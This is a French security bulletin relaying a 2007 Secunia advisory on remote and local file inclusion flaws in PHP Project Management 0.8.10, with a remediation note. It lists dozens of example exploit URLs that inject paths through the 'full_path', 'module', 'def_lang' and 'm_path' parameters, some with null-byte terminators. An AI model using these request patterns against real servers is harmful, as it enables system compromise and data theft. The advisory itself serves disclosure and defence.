|
|
SECURINFOS.INFO - Bulletins de sécurité informatique, Alertes et Protection
PHP Project Management : Vulnérabilités d'Inclusion de Fichiers
24/10/2007 07H33
Référence Secunia : SA27347
Date de publication : 2007-10-23
Risque : Elevé. Niveau 4 sur 5. 
Impact : Exposition d'informations systèmes, Exposition de données sensibles, Accès au système
Lieu : A distance
Solutions :
Non corrigée
Produit :
PHP Project Management 0.x
Description :
Quelques vulnérabilités ont été identifiées dans PHP Project Management, qui pourraient être exploitées par des personnes malintentionnées pour divulguer des informations sensibles et compromettre un système vulnérable.
1) L'entrée passée au paramètre "full_path" dans plusieurs scripts n'est pas vérifiée correctement avant d'être utilisée pour inclure des fichiers. Cela pourrait être exploité pour inclure des fichiers arbitraires depuis des ressources locales ou externes.
L'exploitation de cette vulnérabilité est possible seulement si "register_globals" est actif.
Exemples :
http://[hôte]/[chemin]/ajax/loadsplash.php?full_path=[path2]
http://[hôte]/[chemin]/blocks/birthday.php?full_path=[path2]
http://[hôte]/[chemin]/blocks/events.php?full_path=[path2]
http://[hôte]/[chemin]/blocks/help.php?full_path=[path2]
http://[hôte]/[chemin]/modules/certinfo/index.php?full_path=[path2]
http://[hôte]/[chemin]/modules/emails/index.php?full_path=[path2]
http://[hôte]/[chemin]/modules/events/index.php?full_path=[path2]
http://[hôte]/[chemin]/modules/fax/index.php?full_path=[path2]
http://[hôte]/[chemin]/modules/files/index.php?full_path=[path2]
http://[hôte]/[chemin]/modules/files/list.php?full_path=[path2]
http://[hôte]/[chemin]/modules/groupadm/index.php?full_path=[path2]
http://[hôte]/[chemin]/modules/history/index.php?full_path=[path2]
http://[hôte]/[chemin]/modules/info/index.php?full_path=[path2]
http://[hôte]/[chemin]/modules/log/index.php?full_path=[path2]
http://[hôte]/[chemin]/modules/mail/index.php?full_path=[path2]
http://[hôte]/[chemin]/modules/messages/index.php?full_path=[path2]
http://[hôte]/[chemin]/modules/organizations/index.php?full_path=[path2]
http://[hôte]/[chemin]/modules/phones/index.php?full_path=[path2]
http://[hôte]/[chemin]/modules/presence/index.php?full_path=[path2]
http://[hôte]/[chemin]/modules/projects/index.php?full_path=[path2]
http://[hôte]/[chemin]/modules/projects/list.php?full_path=[path2]
http://[hôte]/[chemin]/modules/projects/summary.inc.php?full_path=[path2]
http://[hôte]/[chemin]/modules/reports/index.php?full_path=[path2]
http://[hôte]/[chemin]/modules/search/index.php?full_path=[path2]
http://[hôte]/[chemin]/modules/snf/index.php?full_path=[path2]
http://[hôte]/[chemin]/modules/syslog/index.php?full_path=[path2]
http://[hôte]/[chemin]/modules/tasks/index.php?full_path=[path2]
http://[hôte]/[chemin]/modules/tasks/searchsimilar.php?full_path=[path2]
http://[hôte]/[chemin]/modules/tasks/summary.inc.php?full_path=[path2]
http://[hôte]/[chemin]/modules/useradm/index.php?full_path=[path2]
2) L'entrée passée au paramètre "full_path" dans index.php n'est pas vérifiée correctement avant d'être utilisée pour inclure des fichiers. Cela pourrait être exploité pour inclure des fichiers arbitraires depuis des ressources locales ou externes.
3) L'entrée passée au paramètre "def_lang", "m_path", et "module" dans plusieurs scripts n'est pas vérifiée correctement avant d'être utilisée pour inclure des fichiers. Cela pourrait être exploité pour inclure des fichiers arbitraires depuis des ressources locales.
L'exploitation de cette vulnérabilité est possible seulement si "register_globals" est actif et "magic_quotes_gpc" est désactivé.
Exemples :
http://[hôte]/[chemin]/modules/certinfo/index.php?module=[path]%00
http://[hôte]/[chemin]/modules/emails/index.php?module=[path]%00
http://[hôte]/[chemin]/modules/events/index.php?module=[path]%00
http://[hôte]/[chemin]/modules/fax/index.php?module=[path]%00
http://[hôte]/[chemin]/modules/files/index.php?module=[path]%00
http://[hôte]/[chemin]/modules/files/list.php?def_lang=[path]%00
http://[hôte]/[chemin]/modules/groupadm/index.php?module=[path]%00
http://[hôte]/[chemin]/modules/history/index.php?module=[path]%00
http://[hôte]/[chemin]/modules/info/index.php?module=[path]%00
http://[hôte]/[chemin]/modules/log/index.php?module=[path]%00
http://[hôte]/[chemin]/modules/mail/index.php?module=[path]%00
http://[hôte]/[chemin]/modules/messages/index.php?module=[path]%00
http://[hôte]/[chemin]/modules/organizations/index.php?module=[path]%00
http://[hôte]/[chemin]/modules/phones/index.php?module=[path]%00
http://[hôte]/[chemin]/modules/presence/index.php?module=[path]%00
http://[hôte]/[chemin]/modules/projects/index.php?module=[path]%00
http://[hôte]/[chemin]/modules/projects/list.php?module=[path]%00
http://[hôte]/[chemin]/modules/projects/summary.inc.php?m_path=[path]%00
http://[hôte]/[chemin]/modules/reports/index.php?module=[path]%00
http://[hôte]/[chemin]/modules/search/index.php?module=[path]%00
http://[hôte]/[chemin]/modules/snf/index.php?module=[path]%00
http://[hôte]/[chemin]/modules/syslog/index.php?module=[path]%00
http://[hôte]/[chemin]/modules/tasks/index.php?module=[path]%00
http://[hôte]/[chemin]/modules/tasks/summary.inc.php?m_path=[path]%00
http://[hôte]/[chemin]/modules/useradm/index.php?module=[path]%00
Les vulnérabilités sont rapportées en version 0.8.10. Les autres versions pourraient également être affectées.
Solutions :
Editez le code source pour s'assurer que l'entrée est correctement vérifiée.
Vulnérabilité découverte par :
1,3) GoLd_M
2) Rapportée par l'éditeur.
Référence :
http://milw0rm.com/exploits/4549
Veuillez noter : L'information sur laquelle ce bulletin Secunia est basé provient d'un tiers sans mention du contraire. Secunia collecte, valide, et vérifie tout les rapports de vulnérabilité issus de la recherche en sécurité de groupes, distributeurs ou autres.
Les noms, marques et enseignes cités sur ce site sont la propriété de leurs déposants respectifs.
Derniers bulletins de sécurité informatique
Bulletins de sécurité informatiques relatifs
| |